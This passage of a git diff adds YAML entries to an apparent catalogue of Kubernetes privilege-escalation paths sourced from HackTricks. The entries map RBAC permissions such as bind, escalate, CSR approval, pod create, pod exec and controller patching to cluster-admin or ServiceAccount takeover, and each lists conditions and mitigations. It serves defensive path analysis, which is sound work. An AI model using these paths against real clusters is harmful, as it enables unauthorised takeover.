k8s_node_hosting_pod_of_source: true + scope: cluster + aggregate_as: "Node hosting the source's pod in {cluster}" + conditions: + - id: constrained_impersonation_action_subset + description: Only the verbs granted via impersonate-on:associated-node: are usable while impersonating the node. + - id: constrained_impersonation_enabled + description: Requires Kubernetes 1.36+ (beta, on by default) or the feature gate. + blockers: [] + confidence: conditional + severity: high + mitigation: Do not grant node impersonation modes outside node-agent ServiceAccounts, and scope the impersonate-on verbs tightly. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/user-impersonation/ + notes: associated-node mode only reaches the node bound into the source ServiceAccount's pod token; k8s_node_hosting_pod_of_source narrows the target to nodes hosting a collected pod that runs as the source ServiceAccount (no target without pod inventory). + +- id: k8s-rbac-bind-clusterrolebinding-cluster-admin + provider: k8s + service: rbac + title: Bind cluster-admin through a ClusterRoleBinding + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#bind + source_revision: 171e422 + summary: The source can obtain the privileges of cluster-admin by binding an admin-equivalent ClusterRole to itself cluster-wide. + requires: + all_of: + - verb: bind + resource: clusterroles + api_group: rbac.authorization.k8s.io + namespace: "*" + resource_name: "{admin_equivalent_clusterrole}" + any_of: + - - verb: create + resource: clusterrolebindings + api_group: rbac.authorization.k8s.io + namespace: "*" + - - verb: update + resource: clusterrolebindings + api_group: rbac.authorization.k8s.io + namespace: "*" + - - verb: patch + resource: clusterrolebindings + api_group: rbac.authorization.k8s.io + namespace: "*" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "cluster-admin of {cluster}" + conditions: + - id: bindable_role_admin_equivalent + description: The ClusterRole covered by bind must be admin-equivalent (cluster-admin, or rules with wildcard verbs/resources including RBAC/secrets/pods). Binding a weaker ClusterRole only grants that role. + blockers: [] + confidence: derived + severity: critical + mitigation: Do not grant bind on clusterroles (especially without resourceNames) together with clusterrolebinding writes. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update + notes: "{admin_equivalent_clusterrole} = any existing ClusterRole the evaluator classifies as admin-equivalent (cluster-admin by default). update/patch only work on an existing ClusterRoleBinding; resourceNames on create cannot restrict the new binding's name. Without bind, binding writes are limited to roles whose permissions the caller already holds (excluded)." + +- id: k8s-rbac-bind-rolebinding-namespace + provider: k8s + service: rbac + title: Bind a powerful Role or ClusterRole inside a namespace + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#bind + source_revision: a66f094ede + summary: The source can obtain the privileges of the ServiceAccounts in the namespace by binding a role that grants workload or token control there. + requires: + all_of: [] + any_of: + - - verb: bind + resource: clusterroles + api_group: rbac.authorization.k8s.io + namespace: "{target.namespace}" + - verb: create + resource: rolebindings + api_group: rbac.authorization.k8s.io + namespace: "{target.namespace}" + - - verb: bind + resource: clusterroles + api_group: rbac.authorization.k8s.io + namespace: "{target.namespace}" + - verb: update + resource: rolebindings + api_group: rbac.authorization.k8s.io + namespace: "{target.namespace}" + - - verb: bind + resource: clusterroles + api_group: rbac.authorization.k8s.io + namespace: "{target.namespace}" + - verb: patch + resource: rolebindings + api_group: rbac.authorization.k8s.io + namespace: "{target.namespace}" + - - verb: bind + resource: roles + api_group: rbac.authorization.k8s.io + namespace: "{target.namespace}" + - verb: create + resource: rolebindings + api_group: rbac.authorization.k8s.io + namespace: "{target.namespace}" + - - verb: bind + resource: roles + api_group: rbac.authorization.k8s.io + namespace: "{target.namespace}" + - verb: update + resource: rolebindings + api_group: rbac.authorization.k8s.io + namespace: "{target.namespace}" + - - verb: bind + resource: roles + api_group: rbac.authorization.k8s.io + namespace: "{target.namespace}" + - verb: patch + resource: rolebindings + api_group: rbac.authorization.k8s.io + namespace: "{target.namespace}" + # ClusterRoleBinding variant: bind on a (non-admin-equivalent) ClusterRole granted cluster-wide plus + # clusterrolebindings writes; the bound ClusterRole then applies in every namespace. + - - verb: bind + resource: clusterroles + api_group: rbac.authorization.k8s.io + namespace: "*" + - any_of: + - {verb: create, resource: clusterrolebindings, api_group: rbac.authorization.k8s.io, namespace: "*"} + - {verb: update, resource: clusterrolebindings, api_group: rbac.authorization.k8s.io, namespace: "*"} + - {verb: patch, resource: clusterrolebindings, api_group: rbac.authorization.k8s.io, namespace: "*"} + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + scope: same_namespace + aggregate_as: "All ServiceAccounts in {target.namespace}" + conditions: + - id: bindable_role_grants_identity_path + description: A Role/ClusterRole covered by bind (respecting resourceNames) must grant a path to ServiceAccounts in the namespace, e.g. pods/controllers create, serviceaccounts/token create, secrets read, or wildcards (admin/edit qualify). + blockers: [] + confidence: derived + severity: high + mitigation: Restrict bind with resourceNames to low-privilege roles and avoid granting rolebinding writes to tenants. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update + notes: A RoleBinding grants a referenced ClusterRole's rules only inside its own namespace. The update/patch groups only apply to existing RoleBindings or ClusterRoleBindings. The ClusterRoleBinding group covers bind on ClusterRoles that are not admin-equivalent (admin-equivalent ones are k8s-rbac-bind-clusterrolebinding-cluster-admin); the bound ClusterRole's rules then reach ServiceAccounts in every namespace (a66f094ede). + +- id: k8s-rbac-escalate-bound-clusterrole + provider: k8s + service: rbac + title: Escalate a ClusterRole already bound to the source + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#escalate + source_revision: 171e422 + summary: The source can obtain the privileges of cluster-admin by adding arbitrary rules to a ClusterRole bound to it cluster-wide. + requires: + all_of: + - verb: escalate + resource: clusterroles + api_group: rbac.authorization.k8s.io + namespace: "*" + resource_name: "{source_bound_clusterrole}" + any_of: + - - verb: update + resource: clusterroles + api_group: rbac.authorization.k8s.io + namespace: "*" + resource_name: "{source_bound_clusterrole}" + - - verb: patch + resource: clusterroles + api_group: rbac.authorization.k8s.io + namespace: "*" + resource_name: "{source_bound_clusterrole}" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "cluster-admin of {cluster}" + conditions: + - id: escalated_role_bound_cluster_wide + description: The editable ClusterRole must be bound to the source (or a group it belongs to) by a ClusterRoleBinding; if only bound by RoleBindings the gain is limited to those namespaces. + - id: aggregated_clusterrole_overwritten + description: Rules added to an aggregated ClusterRole (aggregationRule) are overwritten by the controller. + blockers: [] + confidence: derived + severity: critical + mitigation: Do not grant escalate on roles/clusterroles to non-admin subjects. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-creation-or-update + notes: "{source_bound_clusterrole} = a ClusterRole referenced by a ClusterRoleBinding whose subjects include the source (a RoleBinding to a ClusterRole only confines it to one namespace and does not yield cluster-admin). escalate + create roles alone is not enough: binding the new role still needs bind or already-held permissions." + +- id: k8s-rbac-escalate-aggregating-clusterrole + provider: k8s + service: rbac + title: Create an aggregating ClusterRole that feeds a ClusterRole already bound to the source + source: src/pentesting-cloud/kubernetes-security/kubernetes-persistence/identities-and-rbac.md#bindings-and-aggregated-clusterroles + source_revision: 171e422 + summary: The source can obtain the privileges of cluster-admin by creating a ClusterRole with arbitrary rules and an aggregate-to- label so the aggregation controller copies them into an aggregated ClusterRole already bound to it cluster-wide. + source_selector: + source_bound_to_aggregated_clusterrole: true + requires: + all_of: + - verb: create + resource: clusterroles + api_group: rbac.authorization.k8s.io + namespace: "*" + - verb: escalate + resource: clusterroles + api_group: rbac.authorization.k8s.io + namespace: "*" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "cluster-admin of {cluster}" + conditions: + - id: source_bound_to_aggregated_clusterrole + description: The source_selector checks that the source is bound to a ClusterRole with an aggregationRule (view, edit, admin or a custom one); the new role's labels must satisfy that role's clusterRoleSelectors. + - id: namespace_scoped_binding_only + description: If the aggregated ClusterRole is bound only through RoleBindings, the gain is limited to those namespaces. + blockers: [] + confidence: conditional + severity: critical + mitigation: Do not grant escalate on clusterroles; alert on new ClusterRoles carrying rbac.authorization.k8s.io/aggregate-to-* labels. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#aggregated-clusterroles + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-creation-or-update + notes: HackTricks (171e422) documents aggregation into an already-bound ClusterRole (lab adds patch on one ConfigMap to view) and states the caller still needs the proposed rules or escalate. Without escalate the source can only aggregate rules it already holds, which is not an escalation. + +- id: k8s-rbac-escalate-bound-role-namespace + provider: k8s + service: rbac + title: Escalate a Role already bound to the source in a namespace + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#escalate + source_revision: 171e422 + summary: The source can obtain the privileges of the ServiceAccounts in the namespace by adding workload or token rules to a Role bound to it there. + requires: + all_of: + - verb: escalate + resource: roles + api_group: rbac.authorization.k8s.io + namespace: "{target.namespace}" + resource_name: "{source_bound_role}" + any_of: + - - verb: update + resource: roles + api_group: rbac.authorization.k8s.io + namespace: "{target.namespace}" + resource_name: "{source_bound_role}" + - - verb: patch + resource: roles + api_group: rbac.authorization.k8s.io + namespace: "{target.namespace}" + resource_name: "{source_bound_role}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + scope: same_namespace + aggregate_as: "All ServiceAccounts in {target.namespace}" + conditions: + - id: escalated_role_bound_to_source + description: The editable Role must be bound to the source by a RoleBinding in the same namespace. + blockers: [] + confidence: derived + severity: high + mitigation: Do not grant escalate on roles to tenants. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-creation-or-update + notes: "{source_bound_role} = a Role in the namespace referenced by a RoleBinding whose subjects include the source." + +- id: k8s-rbac-csr-kube-apiserver-client-user + provider: k8s + service: certificates + title: Issue and approve a client certificate for an existing username + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#certificate-signing-requests + source_revision: a66f094ede + summary: The source can obtain the privileges of any user (or ServiceAccount username) that has RBAC bindings by self-approving a kube-apiserver-client certificate for it. + requires: + all_of: + - {verb: create, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + # Read the issued certificate back (status.certificate). + - any_of: + - {verb: get, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - {verb: list, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - {verb: watch, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - any_of: + - {verb: update, resource: certificatesigningrequests, subresource: approval, api_group: certificates.k8s.io, namespace: "*"} + - {verb: patch, resource: certificatesigningrequests, subresource: approval, api_group: certificates.k8s.io, namespace: "*"} + # The signer check also accepts the domain wildcard resourceName. + - any_of: + - {verb: approve, resource: signers, api_group: certificates.k8s.io, namespace: "*", resource_name: "kubernetes.io/kube-apiserver-client"} + - {verb: approve, resource: signers, api_group: certificates.k8s.io, namespace: "*", resource_name: "kubernetes.io/*"} + target: + kind: k8s_user + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "Users bound in RBAC in {cluster}" + conditions: + - id: kube_apiserver_client_signer_enabled + description: The controller-manager must be signing kubernetes.io/kube-apiserver-client (cluster-signing key configured; some managed offerings disable or restrict it). + - id: client_cert_auth_honored + description: The API server must accept client certificates from the cluster CA (some managed clusters ignore or restrict them). + blockers: [] + confidence: derived + severity: critical + mitigation: Restrict approve on signers and certificatesigningrequests/approval to cluster administrators; never combine them with CSR create for other subjects. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#kubernetes-signers + notes: HackTricks reproduced on v1.37 that this signer refused a CSR requesting system:masters, so cluster-admin through that group is NOT claimed; groups are modelled in k8s-rbac-csr-kube-apiserver-client-group. RBAC ServiceAccount subjects match by username, so a certificate with CN=system:serviceaccount:: also receives that SA's bindings; the evaluator should include SA usernames in the reachable set. Client certificates cannot be revoked short of rotating the CA. + +- id: k8s-rbac-csr-kube-apiserver-client-group + provider: k8s + service: certificates + title: Issue and approve a client certificate carrying groups + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#certificate-signing-requests + source_revision: a66f094ede + summary: The source can obtain the privileges of RBAC-bound groups (other than system:masters) by self-approving a kube-apiserver-client certificate with those organizations. + requires: + all_of: + - {verb: create, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + # Read the issued certificate back (status.certificate). + - any_of: + - {verb: get, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - {verb: list, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - {verb: watch, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - any_of: + - {verb: update, resource: certificatesigningrequests, subresource: approval, api_group: certificates.k8s.io, namespace: "*"} + - {verb: patch, resource: certificatesigningrequests, subresource: approval, api_group: certificates.k8s.io, namespace: "*"} + # The signer check also accepts the domain wildcard resourceName. + - any_of: + - {verb: approve, resource: signers, api_group: certificates.k8s.io, namespace: "*", resource_name: "kubernetes.io/kube-apiserver-client"} + - {verb: approve, resource: signers, api_group: certificates.k8s.io, namespace: "*", resource_name: "kubernetes.io/*"} + target: + kind: k8s_group + selector: + any_principal_in_scope: true + exclude_names: ["system:masters"] + scope: cluster + aggregate_as: "Groups bound in RBAC in {cluster}" + conditions: + - id: kube_apiserver_client_signer_enabled + description: The controller-manager must be signing kubernetes.io/kube-apiserver-client. + - id: signer_group_restrictions + description: Signer or approver policy may refuse specific organizations; system:masters was refused in the HackTricks lab. + blockers: [] + confidence: derived + severity: critical + mitigation: Restrict approve on signers and certificatesigningrequests/approval to cluster administrators. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#kubernetes-signers + notes: Official docs list no subject restrictions for kubernetes.io/kube-apiserver-client beyond approver/signer policy; the system:masters exclusion follows the HackTricks v1.37 lab result. + +- id: k8s-rbac-dangling-serviceaccount-reference + provider: k8s + service: rbac + title: Create a ServiceAccount referenced by an existing binding but missing + source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-missing-service-account.md#missing-service-account + source_revision: a66f094ede + summary: The source can obtain the privileges granted to a non-existent ServiceAccount name by creating it (and its namespace if missing) and then using it. + requires: + all_of: + - verb: create + resource: serviceaccounts + namespace: "{target.namespace}" + any_of: + # Run a workload as the recreated ServiceAccount (pod or any pod-creating controller). + - - any_of: + - {verb: create, resource: pods, namespace: "{target.namespace}"} + - {verb: create, resource: deployments, api_group: apps, namespace: "{target.namespace}"} + - {verb: create, resource: daemonsets, api_group: apps, namespace: "{target.namespace}"} + - {verb: create, resource: statefulsets, api_group: apps, namespace: "{target.namespace}"} + - {verb: create, resource: replicasets, api_group: apps, namespace: "{target.namespace}"} + - {verb: create, resource: replicationcontrollers, namespace: "{target.namespace}"} + - {verb: create, resource: jobs, api_group: batch, namespace: "{target.namespace}"} + - {verb: create, resource: cronjobs, api_group: batch, namespace: "{target.namespace}"} + - - {verb: create, resource: serviceaccounts, subresource: token, namespace: "{target.namespace}"} + # Legacy token Secret for the recreated ServiceAccount, then read it back. + - - {verb: create, resource: secrets, namespace: "{target.namespace}"} + - any_of: + - {verb: get, resource: secrets, namespace: "{target.namespace}"} + - {verb: list, resource: secrets, namespace: "{target.namespace}"} + - {verb: watch, resource: secrets, namespace: "{target.namespace}"} + target: + kind: k8s_service_account + selector: + k8s_sa_absent_but_bound: true + k8s_sa_in_namespace: "{target.namespace}" + scope: same_namespace + aggregate_as: "Dangling ServiceAccount references in {target.namespace}" + conditions: + - id: namespace_missing + description: If the referenced namespace does not exist (possible for ClusterRoleBinding or SCC subjects), the source also needs create on namespaces (or projectrequests) and its namespaced grants must be effective in the new namespace. + blockers: [] + confidence: derived + severity: high + mitigation: Remove bindings and SCC users entries whose ServiceAccount (or namespace) no longer exists. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#referring-to-subjects + notes: Applies to vanilla Kubernetes too (RBAC subjects are matched by name, not UID). The target is the binding subject name; the evaluator should synthesize a virtual k8s_service_account node for each subject that does not exist in the snapshot, carrying the bound privileges. Controller creates are alternatives to pods create (the book requires "a way to use the account, such as permission to create a workload under it"); list/watch return Secret data like get (a66f094ede). + +- id: k8s-rbac-secrets-read-argocd-cluster-credential + provider: k8s + service: rbac + title: Read an Argo CD managed-cluster Secret + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/secrets-and-configmaps.md#argo-cd-managed-cluster-credentials + source_revision: 171e422 + summary: The source can obtain the identity Argo CD uses for a registered (possibly remote) cluster by reading the bearer token or client certificate stored in an Argo CD cluster Secret. + requires: + all_of: [] + any_of: + - - {verb: get, resource: secrets, namespace: "{target.namespace}", resource_name: "{target.name}"} + - - {verb: list, resource: secrets, namespace: "{target.namespace}"} + - - {verb: watch, resource: secrets, namespace: "{target.namespace}"} + target: + kind: k8s_remote_cluster + selector: + k8s_secret_holds_remote_cluster_credential: "argocd.argoproj.io/secret-type=cluster" + scope: cluster + aggregate_as: "Argo CD registered-cluster credentials in {cluster}" + conditions: + - id: reusable_credential_stored + description: The Secret's config must hold a reusable bearer token or client certificate; exec/credential-provider configurations do not yield a token from the Secret alone. + - id: stored_identity_permissions + description: The gain is the stored credential's current permissions and expiry on the registered cluster, not the Argo CD label itself. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict Secret read in the Argo CD namespace and use narrowly scoped, short-lived credentials for registered clusters. + references: + - https://argo-cd.readthedocs.io/en/stable/operator-manual/declarative-setup/#clusters + notes: Recognised from Secret labels only (Secret data is never read). list and watch return Secret data, so they are alternatives to get. + +- id: k8s-rbac-serviceaccount-in-absent-namespace + provider: k8s + service: rbac + title: Create the missing namespace and ServiceAccount named by a binding or SCC + source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-missing-service-account.md#missing-service-account + source_revision: a66f094ede + summary: The source can obtain the privileges granted to a ServiceAccount whose namespace does not exist by creating that namespace and ServiceAccount and then running as it. + requires: + all_of: [] + any_of: + - - {verb: create, resource: namespaces, namespace: "*"} + - {verb: create, resource: serviceaccounts, namespace: "*"} + - any_of: + - {verb: create, resource: pods, namespace: "*"} + - {verb: create, resource: deployments, api_group: apps, namespace: "*"} + - {verb: create, resource: daemonsets, api_group: apps, namespace: "*"} + - {verb: create, resource: statefulsets, api_group: apps, namespace: "*"} + - {verb: create, resource: replicasets, api_group: apps, namespace: "*"} + - {verb: create, resource: replicationcontrollers, namespace: "*"} + - {verb: create, resource: jobs, api_group: batch, namespace: "*"} + - {verb: create, resource: cronjobs, api_group: batch, namespace: "*"} + - - {verb: create, resource: namespaces, namespace: "*"} + - {verb: create, resource: serviceaccounts, namespace: "*"} + - {verb: create, resource: serviceaccounts, subresource: token, namespace: "*"} + - - {verb: create, resource: namespaces, namespace: "*"} + - {verb: create, resource: serviceaccounts, namespace: "*"} + - {verb: create, resource: secrets, namespace: "*"} + - any_of: + - {verb: get, resource: secrets, namespace: "*"} + - {verb: list, resource: secrets, namespace: "*"} + - {verb: watch, resource: secrets, namespace: "*"} + - - {verb: create, resource: projectrequests, api_group: project.openshift.io, namespace: "*"} + target: + kind: k8s_service_account + selector: + k8s_sa_namespace_absent: true + scope: cluster + aggregate_as: "ServiceAccounts in absent namespaces of {cluster}" + conditions: + - id: namespace_name_allowed + description: Namespace or project creation can be restricted by admission or the project request template; the exact referenced name must be creatable. + - id: projectrequest_grants_admin + description: The projectrequests alternative applies only on OpenShift, where the default project template makes the requester admin of the new project (enough to create the ServiceAccount and pods there). + blockers: [admission_policy] + confidence: conditional + severity: high + mitigation: Remove bindings and SCC users entries whose ServiceAccount namespace no longer exists; restrict namespace and project creation. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#referring-to-subjects + notes: k8s_sa_namespace_absent targets ServiceAccounts referenced by a binding subject or SCC users[] whose namespace is absent from a complete namespace inventory (unknown if the inventory is incomplete). The serviceaccount and pod grants must be cluster-wide (namespace "*") because the namespace does not exist yet. Complements k8s-rbac-dangling-serviceaccount-reference (namespace exists). + +- id: k8s-rbac-escalate-rolebound-clusterrole-namespace + provider: k8s + service: rbac + title: Escalate a ClusterRole bound in one namespace + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#escalate + source_revision: 8d6a341c8a + summary: Editing a ClusterRole bound through a RoleBinding can grant the source workload and token rights in that namespace. + requires: + all_of: + - verb: escalate + resource: clusterroles + api_group: rbac.authorization.k8s.io + namespace: "*" + resource_name: "{source_rolebound_clusterrole}" + any_of: + - - verb: update + resource: clusterroles + api_group: rbac.authorization.k8s.io + namespace: "*" + resource_name: "{source_rolebound_clusterrole}" + - - verb: patch + resource: clusterroles + api_group: rbac.authorization.k8s.io + namespace: "*" + resource_name: "{source_rolebound_clusterrole}" + target: + kind: k8s_service_account + selector: {k8s_sa_in_namespace: "{target.namespace}"} + scope: same_namespace + outcome: identity + blockers: [] + confidence: conditional + severity: high + mitigation: Do not combine escalate and edit authority on roles bound to the editor. diff --git a/src/privilege-escalation-paths-research/k8s/workloads.yaml b/src/privilege-escalation-paths-research/k8s/workloads.yaml new file mode 100644 index 0000000000..10cd9c1c6b --- /dev/null +++ b/src/privilege-escalation-paths-research/k8s/workloads.yaml @@ -0,0 +1,670 @@ +# Kubernetes workload-plane techniques: run code as a ServiceAccount by creating/modifying +# pods or controllers, entering existing pods, or injecting into pods via admission. +# Conventions: see header of rbac.yaml. Source: hacktricks-cloud rev a53b46392c, re-verified against 171e422. + +- id: k8s-workloads-pods-create + provider: k8s + service: workloads + title: Create a pod that runs as any ServiceAccount of the namespace + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#pod-create---steal-token + source_revision: 171e422 + summary: The source can obtain the privileges of every ServiceAccount in the namespace where it can create pods. + requires: + all_of: + - verb: create + resource: pods + namespace: "{target.namespace}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + scope: same_namespace + aggregate_as: "All ServiceAccounts in {target.namespace}" + conditions: + - id: admission_restricts_service_account + description: A validating/mutating admission policy (VAP, webhook, Kyverno, Gatekeeper, OpenShift SCC) that restricts serviceAccountName, token automount or images could remove the edge. Pod Security Admission does not restrict the ServiceAccount. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: high + mitigation: Do not grant pods create in namespaces that host privileged ServiceAccounts (kube-system, operator namespaces); keep powerful ServiceAccounts in dedicated namespaces. + references: + - https://kubernetes.io/docs/concepts/security/rbac-good-practices/#workload-creation + notes: The pod-level automountServiceAccountToken overrides the ServiceAccount's setting, so automount=false on the ServiceAccount is not a blocker. Severity is raised by the evaluator when a reachable ServiceAccount is admin-equivalent. + +- id: k8s-workloads-controllers-create + provider: k8s + service: workloads + title: Create a workload controller whose pod template runs as any ServiceAccount + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#createpatch-deployment-daemonsets-statefulsets-replicationcontrollers-replicasets-jobs-and-cronjobs + source_revision: 171e422 + summary: The source can obtain the privileges of every ServiceAccount in the namespace where it can create a pod-creating controller. + requires: + all_of: [] + any_of: + - - {verb: create, resource: deployments, api_group: apps, namespace: "{target.namespace}"} + - - {verb: create, resource: daemonsets, api_group: apps, namespace: "{target.namespace}"} + - - {verb: create, resource: statefulsets, api_group: apps, namespace: "{target.namespace}"} + - - {verb: create, resource: replicasets, api_group: apps, namespace: "{target.namespace}"} + - - {verb: create, resource: replicationcontrollers, namespace: "{target.namespace}"} + - - {verb: create, resource: jobs, api_group: batch, namespace: "{target.namespace}"} + - - {verb: create, resource: cronjobs, api_group: batch, namespace: "{target.namespace}"} + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + scope: same_namespace + aggregate_as: "All ServiceAccounts in {target.namespace}" + conditions: + - id: admission_restricts_service_account + description: Admission policies applied to the controller-created pods (or to the controller objects) may restrict serviceAccountName or images. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: high + mitigation: Treat controller create like pods create; do not grant it in namespaces holding privileged ServiceAccounts. + references: + - https://kubernetes.io/docs/concepts/security/rbac-good-practices/#workload-creation + notes: Pods are created by the controller-manager, so the source needs no pods permission and Kubernetes performs no "use ServiceAccount" check. + +- id: k8s-workloads-controllers-modify + provider: k8s + service: workloads + title: Modify an existing workload controller's pod template + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#createpatch-deployment-daemonsets-statefulsets-replicationcontrollers-replicasets-jobs-and-cronjobs + source_revision: 171e422 + summary: The source can obtain the privileges of every ServiceAccount in the namespace by rewriting the pod template of a controller it can update or patch. + requires: + all_of: [] + any_of: + - - {verb: patch, resource: deployments, api_group: apps, namespace: "{target.namespace}"} + - - {verb: update, resource: deployments, api_group: apps, namespace: "{target.namespace}"} + - - {verb: patch, resource: daemonsets, api_group: apps, namespace: "{target.namespace}"} + - - {verb: update, resource: daemonsets, api_group: apps, namespace: "{target.namespace}"} + - - {verb: patch, resource: statefulsets, api_group: apps, namespace: "{target.namespace}"} + - - {verb: update, resource: statefulsets, api_group: apps, namespace: "{target.namespace}"} + - - {verb: patch, resource: replicasets, api_group: apps, namespace: "{target.namespace}"} + - - {verb: update, resource: replicasets, api_group: apps, namespace: "{target.namespace}"} + - - {verb: patch, resource: replicationcontrollers, namespace: "{target.namespace}"} + - - {verb: update, resource: replicationcontrollers, namespace: "{target.namespace}"} + - - {verb: patch, resource: cronjobs, api_group: batch, namespace: "{target.namespace}"} + - - {verb: update, resource: cronjobs, api_group: batch, namespace: "{target.namespace}"} + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + scope: same_namespace + aggregate_as: "All ServiceAccounts in {target.namespace}" + conditions: + - id: controller_object_exists + description: An existing controller object covered by the grant (resourceNames) must exist in the namespace. + - id: admission_restricts_service_account + description: Admission policies may restrict serviceAccountName or images of the resulting pods. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: high + mitigation: Limit controller update/patch to CI/CD identities and scope with resourceNames; protect controllers that run privileged ServiceAccounts. + references: + - https://kubernetes.io/docs/concepts/security/rbac-good-practices/#workload-creation + notes: serviceAccountName in a pod template is mutable, so any SA of the namespace is reachable. The HackTricks lab shows patch-only grants are sufficient (update without get may fail client-side). Job pod templates are immutable after creation, so jobs update/patch is not included; CronJob templates are mutable. + +- id: k8s-workloads-pods-modify-running + provider: k8s + service: workloads + title: Change the container image of an existing pod + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/README.md#high-permissions + source_revision: 171e422 + summary: The source can obtain the privileges of the ServiceAccounts used by existing pods in the namespace by replacing a container image of those pods. + requires: + all_of: [] + any_of: + - - {verb: patch, resource: pods, namespace: "{target.namespace}"} + - - {verb: update, resource: pods, namespace: "{target.namespace}"} + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + k8s_sa_used_by_running_pod: true + scope: same_namespace + aggregate_as: "ServiceAccounts of running pods in {target.namespace}" + conditions: + - id: admission_restricts_images + description: Image policy admission may reject the image change. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: high + mitigation: Do not grant pods update/patch to non-controller identities. + references: + - https://kubernetes.io/docs/concepts/workloads/pods/#pod-update-and-replacement + notes: Pod spec is mostly immutable but container image is mutable, while serviceAccountName is not; hence only SAs already used by pods are reachable (unlike pods create). Verified against Kubernetes pod update rules. + +- id: k8s-workloads-pods-exec + provider: k8s + service: workloads + title: Execute commands in existing pods + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#pods-exec + source_revision: 171e422 + summary: The source can obtain the privileges of the ServiceAccounts mounted in pods it can exec into. + requires: + all_of: + - verb: create + resource: pods + subresource: exec + namespace: "{target.namespace}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + k8s_sa_used_by_running_pod: true + scope: same_namespace + aggregate_as: "ServiceAccounts of running pods in {target.namespace}" + conditions: + - id: token_mounted_in_pod + description: The pod must mount a ServiceAccount token (automount not disabled) and contain an executable entrypoint usable for exec. + blockers: [] + confidence: derived + severity: high + mitigation: Restrict pods/exec to break-glass operators, especially in namespaces with privileged workloads. + references: + - https://kubernetes.io/docs/concepts/security/rbac-good-practices/#workload-creation + notes: Executing in a privileged/host pod also reaches the node (see nodes.yaml). + +- id: k8s-workloads-pods-exec-get-websocket + provider: k8s + service: workloads + title: Execute commands in pods with only get on pods/exec (WebSocket upgrade) + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#pod-interactive-subresources + source_revision: 171e422 + summary: On clusters older than 1.35 the source can obtain the privileges of ServiceAccounts mounted in pods by exec over WebSocket with only get on pods/exec. + requires: + all_of: + - verb: get + resource: pods + subresource: exec + namespace: "{target.namespace}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + k8s_sa_used_by_running_pod: true + scope: same_namespace + aggregate_as: "ServiceAccounts of running pods in {target.namespace}" + conditions: + - id: websocket_upgrade_create_check_disabled + description: Applies only when the API server is older than v1.35 or the AuthorizePodWebsocketUpgradeCreatePermission feature gate is disabled. + - id: token_mounted_in_pod + description: The pod must mount a ServiceAccount token. + blockers: [] + confidence: derived + severity: high + mitigation: Upgrade to Kubernetes 1.35+ (or keep AuthorizePodWebsocketUpgradeCreatePermission enabled) and avoid granting get on pods/* subresources. + references: + - https://github.com/kubernetes/kubernetes/issues/78741 + notes: Verified via upstream issue 78741 and the v1.35 release notes that WebSocket 